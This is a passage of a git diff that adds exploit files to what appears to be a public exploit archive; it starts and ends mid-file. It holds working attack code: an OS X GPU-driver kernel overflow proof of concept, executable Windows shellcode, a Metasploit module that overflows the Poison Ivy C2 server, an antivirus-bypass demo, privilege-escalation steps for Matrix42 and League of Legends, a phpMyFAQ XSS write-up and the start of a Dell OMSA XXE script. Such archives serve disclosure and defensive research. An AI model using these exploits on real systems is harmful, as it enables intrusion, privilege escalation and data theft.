pthread_create(&t, NULL, poc, NULL); + poc(NULL); + pthread_join(t, NULL); + IOServiceClose(client); + } + return 0; +} + diff --git a/platforms/osx/dos/39930.c b/platforms/osx/dos/39930.c new file mode 100755 index 000000000..b17166ea0 --- /dev/null +++ b/platforms/osx/dos/39930.c @@ -0,0 +1,155 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=724 + +nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0. +It implements its own method and parameter demuxing using the struct-in struct-out +buffers. + +The second dword in the struct in buffer is another method identifier used in a switch +statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo. + +On entry to this method rsi points to a buffer in kernel space with completely +user-controlled contents. + +The uint16_t field at +0xc is used a loop count for the memory copying loop at ++0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved +frame pointer but the code only checks whether the value we provide (after bit shifting) +is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually +write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied +into. + +This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox +on device with the appropriate hardware (eg macbookpro) +*/ + +// ianbeer + +// build: clang -o nv_shmoo nv_shmoo.c -framework IOKit +// tested on MacBookPro 10,1 w/10.11.3 (15D21) + +/* +OS X kernel stack buffer overflow in GeForce gpu driver + +nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0. +It implements its own method and parameter demuxing using the struct-in struct-out +buffers. + +The second dword in the struct in buffer is another method identified used in a switch +statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo. + +On entry to this method rsi points to a buffer in kernel space with completely +user-controlled contents. + +The uint16_t field at +0xc is used a loop count for the memory copying loop at ++0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved +frame pointer but the code only checks whether the value we provide (after bit shifting) +is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually +write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied +into. + +This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox +on device with the appropriate hardware (eg macbookpro) +*/ + +#include +#include +#include +#include +#include + +#include +#include + +#include + +uint64_t release_device_texture(mach_port_t conn) { + kern_return_t err; + + uint64_t inputScalar[16]; + uint64_t inputScalarCnt = 0; + + char inputStruct[4096]; + size_t inputStructCnt = 0; + + uint64_t outputScalar[16]; + uint32_t outputScalarCnt = 0; + + char outputStruct[4096]; + size_t outputStructCnt = 0; + + + inputStructCnt = 4096; + memset(inputStruct, 'A', inputStructCnt); + + *((uint32_t*)(inputStruct+0x0)) = 1; + *((uint32_t*)(inputStruct+0x4)) = 24; // ::setShmoo + *((uint16_t*)(inputStruct+0xc)) = 0x1fe; + + outputStructCnt = 4096; + + err = IOConnectCallMethod( + conn, + 0x0, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); + + if (err != KERN_SUCCESS){ + printf("IOConnectCall error: %x\n", err); + } else{ + printf("worked?\n"); + } + + return 0; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got userclient connection: %x\n", conn); + + return conn; +} + + + +int main(int argc, char** argv){ + mach_port_t gl_context = get_user_client("IOAccelerator", 0x2a0); + release_device_texture(gl_context); + return 0; + +} diff --git a/platforms/php/webapps/39911.html b/platforms/php/webapps/39911.html new file mode 100755 index 000000000..c6a7dd0fa --- /dev/null +++ b/platforms/php/webapps/39911.html @@ -0,0 +1,36 @@ + + + + +
    + + + + + + + + +
    + + + + \ No newline at end of file diff --git a/platforms/php/webapps/39912.html b/platforms/php/webapps/39912.html new file mode 100755 index 000000000..452862f2c --- /dev/null +++ b/platforms/php/webapps/39912.html @@ -0,0 +1,31 @@ + + +
    +
    + + + + + +
    + + + diff --git a/platforms/php/webapps/39913.txt b/platforms/php/webapps/39913.txt new file mode 100755 index 000000000..6952caef8 --- /dev/null +++ b/platforms/php/webapps/39913.txt @@ -0,0 +1,31 @@ +# Exploit Title: phpMyFAQ 2.9.0 Stored XSS +# Date: 09-06-2016 +# Software Link: http://www.phpmyfaq.de/ +# Exploit Author: Kacper Szurek +# Contact: http://twitter.com/KacperSzurek +# Website: http://security.szurek.pl/ +# Category: webapps + +1. Description + +PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality. + +But this function doesn’t protect against XSS. + +http://security.szurek.pl/phpmyfaq-290-stored-xss.html + +2. Proof of Concept + +By default every user can propose faq entries. + +When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page: + +http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl + +For exploitation use folowing url inside Link for this FAQ field: + +http://example.com/"> + +3. Solution: + +Update to version 2.9.1 \ No newline at end of file diff --git a/platforms/win32/shellcode/39914.c b/platforms/win32/shellcode/39914.c new file mode 100755 index 000000000..8d7de0b6f --- /dev/null +++ b/platforms/win32/shellcode/39914.c @@ -0,0 +1,168 @@ +/* + # Title : Windows x86 system("systeminfo") shellcode + # Date : 10-06-2016 + # Author : Roziul Hasan Khan Shifat + # Tested on : Windows 7 Professional x86 + +*/ + +/* + + +section .text + global _start +_start: +xor ecx,ecx +mov eax,[fs:ecx+0x30] ;EAX=PEB +mov eax,[eax+0xc] ;EAX=PEB->Ldr +mov esi,[eax+0x14] ;ESI=PEB->Ldr.InMemOrderModuleList +lodsd ; EAX=ntdll.dll +xchg eax,esi ;EAX=ESI , ESI=EAX +lodsd ; EAX=Third(kernel32) +mov ebx,[eax+0x10] ;PVOID Dllbase (base address) + +;------------------------------- + +mov edx,[ebx+0x3c] ;(kernel32.dll base address+0x3c)=DOS->e_lfanew +add edx,ebx ;(DOS->e_lfanew+kernel32.dll base address)=PE Header +mov edx,[edx+0x78] ;(PE Header+0x78)=DataDirectory->VirtualAddress +add edx,ebx ;(DataDirectory->VirtualAddress+kernel32.dll base address)=export table of kernel32.dll(IMAGE_EXPORT_DIRECTORY) +mov esi,[edx+0x20]; (IMAGE_EXPORT_DIRECTORY+0x20)=AddressOfNames +add esi,ebx ;ESI=(AddressOfNames+kernel32.dll base address)=kernel32 AddressOfNames +xor ecx,ecx +;----------------------- + +Get_func: +inc ecx ;increment the ordinal +lodsd ;Get name offset +add eax,ebx ;(offset+kernel32.dll base adress)=Get function name +cmp dword [eax],0x50746547 ;GetP +jnz Get_func +cmp dword [eax+0x4],0x41636f72 ;rocA +jnz Get_func +cmp dword [eax+0x8],0x65726464 ;ddre +jnz Get_func + +;--------------------- + +mov esi,[edx+0x24] ;(IMAGE_EXPORT_DIRECTORY+0x24) AddressOfNameOrdinals + +add esi,ebx ;ESI=(AddressOfNameOrdinals+kernel32.dll)=AddressOfNameOrdinals of kernel32.dll + +mov cx,[esi+ecx*2] ;CX=Number of Function +dec ecx +mov esi,[edx+0x1c] ; (IMAGE_EXPORT_DIRECTORY+0x1c)=AddressOfFunctions + +add esi,ebx ;ESI=beginning of Address table +mov edx,[esi+ecx*4];EDX=Pointer(offset) +add edx,ebx ;Edx=GetProcAddress + + +;------------------------------ + +xor esi,esi +mov esi,edx +;------------------------------- +;finding address of LoadLibraryA +xor ecx,ecx +push ecx +push 0x41797261 +push 0x7262694c +push 0x64616f4c + +mov ecx,esp + +push ecx +push ebx + +call edx + +;------------------------------------- +;finding address of msvcrt.dll +xor ecx,ecx + +mov cx, 0x6c6c +push ecx +push 0x642e7472 +push 0x6376736d + +mov ecx,esp +push ecx +call eax +;---------------------------- + +xor edi,edi +mov edi,eax ; base address of msvcrt.dll +;---------------------------- +;finding address of system() +xor edx,edx +push edx +mov dx, 0x6d65 +push edx +push 0x74737973 +mov ecx,esp +push ecx +push edi +xor edx,edx +mov edx,esi +call edx +;------------------------- + +xor ecx,ecx +mov cx, 0x6f66 +push ecx +push 0x6e696d65 +push 0x74737973 +mov ecx,esp +push ecx +call eax ;calling system() + +;------------------------------- +;finding address of _getch() +xor ecx,ecx +mov cx, 0x6863 +push ecx +push 0x7465675f + +mov ecx,esp + +push ecx +push edi +xor edx,edx +mov edx,esi +call edx + +;-------------------- +call eax ;calling _getch() +;--------------------- + +;--------------------------- +;finding address of exit() +xor edx,edx +push edx +push 0x74697865 +mov ecx,esp +push ecx +push edi +call esi +;---------------------- +call eax ;exiting + + + + +*/ + + + +#include +#include +char shellcode[]=\ +"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x89\xe1\x51\x53\xff\xd2\x31\xc9\x66\xb9\x6c\x6c\x51\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x89\xe1\x51\xff\xd0\x31\xff\x89\xc7\x31\xd2\x52\x66\xba\x65\x6d\x52\x68\x73\x79\x73\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\x31\xc9\x66\xb9\x66\x6f\x51\x68\x65\x6d\x69\x6e\x68\x73\x79\x73\x74\x89\xe1\x51\xff\xd0\x31\xc9\x66\xb9\x63\x68\x51\x68\x5f\x67\x65\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\xff\xd0\x31\xd2\x52\x68\x65\x78\x69\x74\x89\xe1\x51\x57\xff\xd6\xff\xd0"; + + +main() +{ +printf("shellcode length %ld\n",strlen(shellcode)); +(* (int(*)()) shellcode)(); +} diff --git a/platforms/windows/dos/39915.c b/platforms/windows/dos/39915.c new file mode 100755 index 000000000..abfc4dc58 --- /dev/null +++ b/platforms/windows/dos/39915.c @@ -0,0 +1,191 @@ +/* +# Exploit Title : Armadito antimalware - Backdoor/Bypass +# Date : 07-06-2016 (DD-MM-YYYY) +# Exploit Author : Ax. +# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/ +# Software Link : https://github.com/41434944/armadito-av +# Version : No version specified. Fixed 07-06-2016 post-disclosure +# Tested on : Windows 7 + +1. Description +Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security). + +2. Proof Of Concept +As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented. + +[SOURCE] + if (msDosFilename == NULL) { + a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId); + scan_result = ARMADITO_EINVAL; + } + else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only) + scan_result = ARMADITO_WHITE_LISTED; + } + else { + + // launch a simple file scan + //printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename); + scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report); + a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result)); + printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result)); + + } +[/SOURCE] + +Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit. + +3. Solution + +Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work). + +3 bis. Real solution + +It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c) +*/ + +#include +#include +#include +#define BUFSIZE 4096 +#define MAX_PATH_SIZE 255 +#define ARMADITO_EINVAL 0 +#define ARMADITO_WHITE_LISTED 1 +char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName) +{ + char deviceDosName[BUFSIZE]; + char deviceLetter[3] = { '\0' }; + char deviceNameQuery[BUFSIZE] = { '\0' }; + char * deviceDosFilename = NULL; + DWORD len = 0; + DWORD len2 = 0; + DWORD ret = 0; + BOOL bFound = FALSE; + char * tmp; + + if (DeviceFileName == NULL) { + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n"); + printf("FileName null.\n"); + return NULL; + } + + // Get the list of the logical drives. + len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName); + if (len == 0) { + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed :: error code = 0x%03d", GetLastError()); + printf("Error : GetLogicalDriveStringsA()\n"); + return NULL; + } + + + tmp = deviceDosName; + + do { + + //printf("[+] Debug :: deviceDosName = %s\n",tmp); + + // Get the device letter without the backslash (Ex: C:). + memcpy_s(deviceLetter, 2, tmp, 2); + + if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) { + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed :: error code = 0x%03d\n", GetLastError()); + printf("Error : QuedryDosDeviceA()\n"); + return NULL; + } + + //printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter); + if (deviceNameQuery == NULL) { + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed :: deviceNameQuery is NULL\n", GetLastError()); + printf("deviceNameQuery null.\n"); + } + + if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) { + //printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter); + + len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE); + len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3; + + deviceDosFilename = (char*)calloc(len + 1, sizeof(char)); + deviceDosFilename[len] = '\0'; + + memcpy_s(deviceDosFilename, len, tmp, 3); + memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1); + + bFound = TRUE; + + } + + // got to the next device name. + while (*tmp++); + //printf("[+] Debug :: next device name = %s\n",tmp); + + + } while (bFound == FALSE && *tmp); + + + if (bFound == FALSE) { + return NULL; + } + + return deviceDosFilename; +} + + +int main(int argc, char ** argv) +{ + char * msDosFilename = NULL; + int i = 0; + LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */ + LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */ + LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */ + char *string; + int scan_result = -1; + + /* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/ + // msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName); + for (i = 0; i < 3; i++) + { + if (i == 0) + { + printf("Scanning C:\\ARMADITO.txt\n"); + msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile); + } + else if (i == 1) + { + printf("Scanning C:\\malware.exe\n"); + msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile); + } + else + { + printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n"); + msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile); + } + //report.status = ARMADITO_CLEAN; + /* If the ConvertDeviceNametoMsDosName fails */ + if (msDosFilename == NULL) { + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId); + scan_result = ARMADITO_EINVAL; + } + /* If it contains ARMADITO.TXT ... SERIOUSLY ? */ + + else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only) + scan_result = ARMADITO_WHITE_LISTED; + printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n"); + } + else { + /* Armadito basic scan */ + printf("Armadito will now scan the file.\n"); + // launch a simple file scan + //printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename); + //scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report); + //a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result)); + //printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result)); + + } + + printf("\n\n"); + } + + + getchar(); + return 0; +} diff --git a/platforms/windows/local/39908.txt b/platforms/windows/local/39908.txt new file mode 100755 index 000000000..6fca2ea5f --- /dev/null +++ b/platforms/windows/local/39908.txt @@ -0,0 +1,49 @@ +# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation +# Date: 06-05-2016 +# Exploit Author: Roland C. Redl +# Vendor Homepage: https://www.matrix42.com/ +# Software Link: n/a +# Version: 3.20.0031 +# Tested on: Windows 7 Enterprise SP1 x64 +# CVE : n/a + +1. Description: + +>sc qc FastViewerRemoteProxy +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: FastViewerRemoteProxy + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 4 DISABLED + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : FastViewer Proxyservice + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +>sc qc FastViewerRemoteService +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: FastViewerRemoteService + TYPE : 110 WIN32_OWN_PROCESS (interactive) + START_TYPE : 2 AUTO_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : FastViewer Remoteservice + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system. + +2. Proof of concept: + +Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe". +Restart the service or the machine and Remote.exe will start with SYSTEM privileges. + +3. Solution: + +To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service. \ No newline at end of file diff --git a/platforms/windows/local/39916.txt b/platforms/windows/local/39916.txt new file mode 100755 index 000000000..eb8b6159c --- /dev/null +++ b/platforms/windows/local/39916.txt @@ -0,0 +1,52 @@ +------------------------------------------------------------------------------------ +# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation +# Date: 03/06/16 +# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he +probably found this too) +# Vendor Homepage: http://www.leagueoflegends.com +# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one) +# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system + +Description: + +The League of Legends Folder is installed with insecure file +permissions. It was found that all folder and most file permissions were +incorrectly configured during installation. It was possible to replace most +binaries. +This can be used to get a horizontal and vertical privilege escalation. + +POC : + +C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends" +C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F) + BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F) + AUTORITE NT\Système:(I)(F) + AUTORITE NT\Système:(I)(OI)(CI)(IO)(F) + BUILTIN\Utilisateurs:(I)(OI)(CI)(RX) + AUTORITE NT\Utilisateurs authentifiés:(I)(M) + AUTORITE NT\Utilisateurs +authentifiés:(I)(OI)(CI)(IO)(M) + + +POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E + + +Additional Notes : + +"Based on our assessment, we feel that the severity and risk related to +this issue is low. We are going to mark this as a won't fix as we're +planning on will be taking this functionality offline soon with our new +league client." + +"we determined that there are some design choices regarding the game client +install location and default permissions that prevent us from changing the +current behavior." + +I've try to explain that file permissions aren't a functionality that you +take offline or design choices, without success. Sorry guys you will have +to patch this manually.. + +Related report : + https://www.exploit-db.com/exploits/39903/ + +------------------------------------------------------------------------------------ \ No newline at end of file diff --git a/platforms/windows/remote/39907.rb b/platforms/windows/remote/39907.rb new file mode 100755 index 000000000..24d2ccc11 --- /dev/null +++ b/platforms/windows/remote/39907.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server. + The exploit does not need to know the password chosen for the bot/server communication. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ], + ], + 'DisclosureDate' => 'Jun 03 2016', + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD) + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Poison Ivy 2.1.4 on Windows XP SP3', + { + 'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe" + 'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe" + 'InfoSizeOffset' => 0x1111, # offset of InfoSize variable + 'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable + 'Packet2Offset' => 0xB9E # offset of second packet within server's response + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(3460) + ], self.class) + + end + + # XOR two strings + def xor_strings(s1, s2) + s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*') + end + + # Obtain keystream using known plaintext + def get_keystream(ciphertext, knownPlaintext) + if(ciphertext.length < knownPlaintext.length) + return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length]) + else + return xor_strings(ciphertext, knownPlaintext) + end + end + + # Apply keystream to plaintext + def use_keystream(plaintext, keyStream) + if(keyStream.length > plaintext.length) + return xor_strings(plaintext, keyStream[0, plaintext.length]) + else + return xor_strings(plaintext, keyStream) + end + end + + def check + connect + # Poke + sock.put("\x01") + # Fetch response + response = sock.get_once(6) + + if (response == "\x89\xFF\x90\x0B\x00\x00") + vprint_status("Poison Ivy C&C version 2.1.4 detected.") + return Exploit::CheckCode::Appears + elsif (response == "\x89\xFF\x38\xE0\x00\x00") + vprint_status("Poison Ivy C&C version 2.0.0 detected.") + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Safe + end + + # Load known plaintext chunk + def load_c2_packet_chunk + path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin') + chunk = ::File.open(path, 'rb') { |f| chunk = f.read } + chunk + end + + def exploit + # Known plaintext from C2 packet + knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00" + knownPlaintext2 = load_c2_packet_chunk() + + # detour shellcode (mov eax, StoreAddress; jmp eax) + detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress + detourShellcode << "\xFF\xE0" # jmp eax + + # Padding where necessary + compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length) + + # Construct exploit buffer + exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder) + exploitBuffer << compressedBuffer # compressedBuffer + exploitBuffer << "\xFF" * 0x104 # readfds + exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType + exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder) + exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize + exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder) + exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize + exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer + exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4 + exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam + exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout + exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd + exploitBuffer << Rex::Text.rand_text_alpha(4) # s + exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP + exploitBuffer << [target['Ret']].pack("V") # EIP + exploitBuffer << [target['StoreAddress']].pack("V") # arg_0 + exploitBuffer << detourShellcode # detour to storage area + + # Calculate values + allocSize = exploitBuffer.length + 1024 + infoLen = payload.encoded.length + infoSize = (infoLen + 4) + + # Handshake + connect + print_status("Performing handshake...") + + # Poke + sock.put("\x01") + + # Fetch response + response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize) + + eHeader = response[target['Packet2Offset'], 6] + eInfo = response[target['Packet2Offset'] + 10..-1] + + if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize)) + # Keystream derivation using Known Plaintext Attack + keyStream1 = get_keystream(eHeader, knownPlaintext1) + keyStream2 = get_keystream(eInfo, knownPlaintext2) + + # Set correct infoLen + exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1] + + # Set correct decompressSize + exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1] + + # Build packet + malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1) + + # Encrypt infoSize bytes + encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1] + + # Make sure infoSize gets overwritten properly since it is processed before decryption + encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1] + + # Finalize packet + exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer + + print_status("Sending exploit...") + # Send exploit + sock.put(exploitPacket) + else + print_status("Not enough keystream available...") + end + + select(nil,nil,nil,5) + disconnect + end + +end diff --git a/platforms/xml/webapps/39909.rb b/platforms/xml/webapps/39909.rb new file mode 100755 index 000000000..bc65f07e7 --- /dev/null +++ b/platforms/xml/webapps/39909.rb @@ -0,0 +1,164 @@ +#!/usr/bin/ruby +# +# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE +# Date: June 9, 2016 +# Exploit Author: hantwister +# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa +# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW +# Version: 8.3 +# Tested On: RHEL7 +# +# Description: +# When using an XML parser on returned data by a remote node, OMSA does not +# restrict the use of external entities. +# +# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and +# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed. +# +# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt +# to parse returned XML, and when the OMSA instance requests this XML from +# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that +# includes a XXE attack, revealing the contents of /etc/redhat-release. +# +# Because OMSA merely requires you be authenticated to the node you are +# managing, which we control, authentication to the victim is not required +# to exploit this vulnerability. +# +# To use, change line 55 to your victim IP. If you have multiple network +# interfaces, you may wish to manually specify which one will be accessible +# to the victim on line 60. +# +# Note: during testing, OMSA would periodically begin rejecting connections +# to fake nodes and would need to be restarted; do not expect multiple runs +# against the same victim to be successful unless you can restart it. +# +# Copyright (C) 2016 hantwister +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free 